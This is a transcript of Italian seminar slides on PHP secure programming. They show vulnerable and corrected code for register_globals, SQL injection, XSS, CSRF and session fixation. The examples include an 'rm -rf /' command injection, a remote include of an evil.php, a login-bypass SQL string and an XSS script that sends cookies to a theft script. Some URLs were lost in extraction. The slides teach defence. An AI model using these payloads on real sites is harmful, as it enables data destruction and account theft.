PHP Secure Programming

Transcript

1 PHP Secure Programming Seminario sviluppato nell'ambito del corso di Sicurezza, Dipartimento di Informatica e Scienze dell'informazione (DISI), Genova Autore: Matteo Greco <2001s036@educ.disi.unige.it>

2 Sommario Scopo del seminario è esporre alcune delle più note tecniche per manipolare in modo imprevisto i dati gestiti da una applicazione web scritta in PHP In tutto questo, bisogna tener presente che la sicurezza di una Applicazione Web: Deve essere parte del suo progetto Deve essere proporzionata al suo costo Deve essere proporzionata alla sua usabilitá

3 Da cosa dobbiamo difenderci? Gli attacchi trattati sono: Input/Output Inaspettato: Problemi con register_globals=on Form Submission Spoofing SQL Injection Cross Site Scripting (attacco all'output) Cross Site Request Forgeries Session Hijacking

4 Input Inaspettato Le Applicazioni Web sono semplicemente interfacce grafiche verso funzionalità Il loro scopo è prendere Input dall'utente: A basso livello, sono tutte richieste HTTP Più ad alto livello, l'utente interagisce in genere con mouse e tastiera (un tipico errore è credere che i link e la struttura dei form impediscano all'utente di fornirci Input Inaspettato) Affinché una Applicazione Web sia sicura è necessario (e non sufficiente) filtrare correttamente i dati in input

5 Input Inaspettato: filtrare i dati Cosa e come filtrare? Il numero di dati in input Per ogni dato, il suo tipo (attenzione: PHP tratta tutti i dati provenienti da form come stringhe; usare intval(), floatval(), strval() oppure il casting) Per ogni dato, la sua forma (esempio, le login del DISI sono della forma NNNNsNNN, dove N è una cifra); sono utili a questo scopo le espressioni regolari (vedere eregi() o preg_match()) Per ogni dato, il range di valori accettabili

6 Input Inaspettato: register_globals Direttiva del file di configurazione di PHP (php.ini) Se impostata ad on, le variabili provenienti da richieste GET, POST e da COOKIE, normalmente memorizzate da PHP in array associativi separati, possono sovrascrivere variabili locali che portino lo stesso nome (es.: $_GET['test'] -> $test), se queste non vengono esplicitamente inizializzate Questo può portare l'applicazione a considerare fidato un dato sovrascritto dall'esterno

7 Input Inaspettato: register_globals: esempio <?php if ( authorized_user() ) { $authorized = true; } // altro codice dove non viene modificata $authorized if ( $authorized ) { require '/highly/sensitive/data.php'; } $authorized non viene esplicitamente inizializzata; se authorized_user() == false, $authorized non ha valore. Con register_globals=on, si può oltrepassare il controllo richiamando lo script in questo modo: A seconda dello scenario, si possono causare vari tipi di danno (alcuni dei quali, presentati nelle prossime slide)

8 Input Inaspettato: register_globals: Command Injection Un altro scenario in cui un errato controllo dell'input e la presenza di register_globals=on possono portare a conseguenze inaspettate In questo caso, l'attaccante tenta di iniettare comandi shell if( $cond1 ) { $command = 'ls'; $args = ' -l'; } else if ( $cond2 ) { $command = 'ps'; $args = ' aux'; } system( $command $args ); Si può eseguire il comando 'rm -rf /' così: Funzioni utili: escapeshellcmd(), escapeshellarg()

9 Input Inaspettato: register_globals: Code Injection Uno scenario in cui l'attaccante cerca di far eseguire codice PHP arbitrario, includendolo dall'esterno <?php include( $path/include_me.php );?> Se l'attaccante richiama lo script in questo modo: PHP eseguirà questa istruzione: include( ); La richiesta non mostrerà il codice PHP di evil.php, ma l'attaccante può mostrarlo volontariamente con show_source()

10 Input Inaspettato: register_globals: soluzioni Disabilitare register_globals (opzione di default da PHP in poi); non sempre è possibile, a causa di applicazioni che smetterebbero di funzionare correttamente Inizializzare sempre esplicitamente le variabili (l'uso di error_reporting(e_all); lo facilita) Distinguere le fonti di dato con $_GET[], $_POST[] e $_COOKIE[] Filtrare i dati come suggerito in precedenza

11 Input Inaspettato: register_globals: esempio corretto <?php /* oltre ad essere una buona norma di programmazione, l'inizializzazione di questa variabile sovrascrive eventuali valori provenienti dall'esterno (GET, POST, COOKIE) */ $authorized = false; if ( authorized_user() ) { } //... $authorized = true; if ( $authorized ) { } require '/highly/sensitive/data.php';

12 Input Inaspettato: Form Submission Spoofing Quando creiamo un Form, non dobbiamo supporre che la sua struttura impedisca all'utente di presentarci Input Inaspettato. <html>... <form action= process.php method= post > <select name= color > <option value= red >Rosso</option> <option value= green >Verde</option> <option value= blue >Blu</option> </select> </form>

13 Input Inaspettato: Form Submission Spoofing Con il Form dell'esempio precedente, ci aspettiamo che $_POST['color'] valga esclusivamente 'red', 'green' o 'blue' Ma cosa accade se l'attaccante crea una sua form in cui, al posto di <select name= color > mettesse <input type= text name= color >? Cosa può fare l'attaccante se si collega con una socket alla porta 80 del web server e scrive a mano la richiesta POST? Bisogna filtrare i dati che giungono da Form

14 Input Inaspettato: Form Submission Spoofing Un esempio semplice di filtro per i dati dell'esempio precedente: <?php if ( $_POST['color'] ) { } $clean = array(); switch( $_POST['color'] ) { case 'red': case 'green': case 'blue': $clean['color'] = $_POST['color']; break; default: // errore }

15 Input Inaspettato: SQL Injection Particolare esempio di attacco di Input Inaspettato. Simile alla Command Injection, ad eccezione del fatto che inietta statement SQL piuttosto che comandi shell Molto pericoloso, perché concede all'attaccante la possibilità di eseguire statement SQL arbitrari con i privilegi dell'utente che PHP usa per collegarsi al DBMS Utilizzato spesso per ridefinire password di accesso ad Applicazioni Web

16 Input Inaspettato: SQL Injection: esempio Supponiamo di realizzare una procedura di login ad una Applicazione Web: <?php if ( $_POST['submit'] ) { $username = $_POST['username']; $password = $_POST['password']; $query = SELECT * FROM users WHERE username='$username' AND password='$password' ;... Cosa accade se fornisco come username il valore: matteo' OR 1?

17 Input Inaspettato: SQL Injection: soluzioni Come in tutti i casi di Input Inaspettato, filtrare i dati è fondamentale. In particolare: Nelle query, aggiungere i simboli di quote (') intorno a variabili che debbano contenere stringhe Effettuare l'escape dei metacaratteri SQL (come il carattere di quote), in modo che essi siano interpretati letteralmente; in questo modo, matteo' diviene matteo\', impedendo al simbolo di quote inserito dall'attaccante di chiudere la stringa ed inserire altri statement. PHP fornisce una funzione generica, addslashes() ma, se possibile, è meglio usare le funzioni specifiche del DBMS (mysql_real_escape_string() per MySQL) Usare utenti con il solo privilegio di SELECT ogni volta sia possibile (niente INSERT, UPDATE, DELETE...)

18 Input Inaspettato: SQL Injection: <?php if ( $_POST['submit'] ) { esempio corretto $username = $_POST['username']; $password = $_POST['password']; // implementare qui i filtri sui valori di $username e $password... // prima di passare $username e $password al DBMS, l'escape $username = mysql_real_escape_string($username); $password = mysql_real_escape_string($password); $query = SELECT * FROM users WHERE username='$username' AND password='$password' ;...

19 Input Inaspettato: SQL Injection: un altro esempio Supponiamo di avere una tabella: Prodotto(Nome VARCHAR(30), Quantita INT, Peso FLOAT) E di avere una form per inserire i dati: <html>... <form action= process.php method= post > <input type= text name= nome size= 30 maxlength= 30 /> <input type= text name= quantita size= 30 maxlength= 6 /> <input type= text name= peso size= 30 maxlength= 10 /> <input type= submit name= submit value= Inserisci /> </form>

20 Input Inaspettato: SQL Injection: <?php un altro esempio // non uso $clean, l'esempio e` molto semplice $nome = strval(mysql_real_escape_string($_post['nome'])); // $nome è filtrata if( $_POST['quantita']!== strval(intval($_post['quantita'])) ) { // $_POST['quantita'] non e` un numero intero } $quantita = intval($_post['quantita']); // $quantita è filtrata if( $_POST['peso']!== strval(floatval($_post['peso'])) ) { // $_POST['peso'] non e` un numero float } $peso = floatval($_post['peso']); // $peso è filtrata $query = INSERT INTO Prodotti(Nome, Quantita, Peso) ; $query.= VALUES ('$nome', $quantita, $peso) ;?>

21 Cross Site Scripting Sono vulnerabili a questo attacco tutte le applicazioni che riscrivono in output dati presi in input dall'utente, che possono contenere anche codice HTML Sebbene fare scrivere HTML possa non essere male (tag <p>, <strong>, <em>...), in alcuni casi può permettere esecuzione di codice arbitrario (<script>, <object>, <applet>) Questi attacchi sfruttano la fiducia che l'utente ripone nell'applicazione web

22 Cross Site Scripting: esempio <?php // supponendo che $_POST['message'] arrivi da un form if( isset($_post['message']) ) { } $fp = fopen('./messages.txt', 'a'); fwrite($fp, $_POST['message']. '<br />'); fclose($fp); readfile('./messages.txt');?> Non c'è alcun controllo sul contenuto di $_POST['message']

23 Cross Site Scripting: esempio Se $_POST['message'] contiene codice HTML, questo verrà mostrato; questo rende possibile l'esecuzione di codice JavaScript o altro, come ad esempio: <script type= text/javascript > document.location=' ocument.cookie </script> steal_cookies.php può essere uno script che riceve document.cookie (ovvero, l'insieme dei cookie che il browser ha mandato al server attaccato), e li usa come vuole

24 Cross Site Scripting: soluzioni Come al solito, filtrare bene l'input evita molte complicazioni Sui dati di output, si possono: Sostituire tutte le entità HTML (vedere htmlentities()) Sostituire tutti o parte dei tag HTML (vedere strip_tags()) Alcuni attacchi fanno uso della codifica utf8; si possono evitare utilizzando utf8_decode()

25 Cross Site Scripting: esempio corretto <?php // supponendo che $_POST['message'] arrivi da un form if( isset($_post['message']) ) { // con questo, anche i caratteri < ed > verranno sostituiti // $message = htmlentities($_post['message']); // con questo, vengono sostituiti i tag esclusi p, em, strong $message = strip_tags($_post['message'], <p><em><strong> ); $fp = fopen('./messages.txt', 'a'); fwrite($fp, $_POST['message']. '<br />'); fclose($fp); } readfile('./messages.txt');?>

26 Cross Site Request Forgeries Si tratta di un attacco che sfrutta la fiducia che l'applicazione ripone nell'identità dell'utente L'attaccante costringe la vittima ad effettuare richieste HTTP di cui non è consapevole verso applicazioni vulnerabili al CSRF Le applicazioni one-click (che permettono di accedere a determinate funzionalità senza richiedere conferme) sono generalmente vulnerabili

27 Cross Site Request Forgeries: esempi Supponiamo che l'attaccante convinca la vittima a visitare una pagina che, in un certo punto, contiene: <img src= /> Il browser della vittima farà una richiesta HTTP GET verso l'url scritta nell'attributo src del tag img; ovviamente, non verrà mostrata alcuna immagine Se lo script buy.php è vulnerabile al CSRF, la vittima acquisterà a sua insaputa 100 pezzi del prodotto con id=82 Lo script è vulnerabile se, magari vedendo che l'utente è loggato, non domanda ulteriore conferma prima di procedere con l'acquisto

28 Cross Site Request Forgeries: soluzioni Contrariamente agli attacchi menzionati precedentemente, in questo caso la soluzione non consiste nel filtrare i dati in input Meglio evitare i sistemi one-click (esempio: carrello degli acquisti piuttosto che concludere l'acquisto direttamente) Inoltre, prelevare i dati importanti via POST anziché GET (visto che il browser, nel caso mostrato prima, effettua una richiesta GET), e prelevare da $_POST[] esplicitamente

29 Session Hijacking Le sessioni sono una funzionalità introdotta per ovviare al fatto che il protocollo HTTP è stateless Le sessioni si basano sul principio di poter determinare univocamente i client che si connettono al server, associando loro un identificatore (il session_id) Tale session_id viene trasmesso via Cookie ma, poiché i Cookie possono essere disabilitati, esso può essere propagato via GET. In tal caso, PHP può auto trasmettere il session_id, se la direttiva session.use_trans_sid è attiva

30 Session Hijacking Un attaccante può far credere al server di essere un altra persona, impadronendosi del session_id di tale persona: Indovinandolo (molto difficile, il session_id è casuale) Sniffandolo (abbastanza difficile, richiede un attacco Man In The Middle, oppure sfruttare bug dei browser, come il bug inerente la trasmissione dei Cookie (tra cui il session_id, eventualmente) di Internet Explorer) Tramite fixation (vedi prossima slide)

31 Session Hijacking: session fixation L'attaccante decide il session_id della vittima L'attaccante convince la vittima a visitare il sito sul quale vuole farsi credere la vittima, aggiungendo alla richiesta GET il parametro PHPSESSID= session_id deciso dall'attaccante (imposta il session_id della vittima sul sito in questione) L'attaccante visita la stessa URL, con lo stesso session_id Poiché il session_id è lo stesso, PHP non distinguerà l'attaccante e la vittima

32 Session Hijacking: soluzioni Attacco da cui non è facile difendersi Un primo tentativo (più security through obscurity che altro) consiste nell'identificare i client con PHPSESSID più altre informazioni adatte allo scopo (qualcuno suggerisce User- Agent); naturalmente, queste informazioni sono fornite dal client, e dunque completamente falsificabili Meglio, si può rigenerare il session_id ogni volta che si cambia livello di privilegio nell'applicazione (esempio: dopo il login)

33 Session Hijacking: esempio corretto Supponiamo di realizzare un sistema di login che riceve dati da questo form: <html>... <form action= process.php method= post > <input type= text name= username /> <input type= password name= password /> <input type= submit name= submit value= Login /> </form>... </html>

34 Session Hijacking: esempio corretto Con un attacco di tipo fixation, l'attaccante può convincere la vittima a loggarsi a: In questo modo, PHP utilizzerà come session_id, non rigenerandolo quando session_start() viene chiamata; allora, lo rigeneriamo noi, non appena l'utente è stato autenticato: <?php session_start(); // suppongo di avere valid_login(), che controlla le credenziali if( valid_login($_post['username'], $_POST['password']) ) { } $_SESSION = array(); // svuoto la sessione corrente session_regenerate_id(); // fai qualcosa per l'utente loggato, come mostrare un menù

35 Bibliografia Molto materiale è stato tratto da: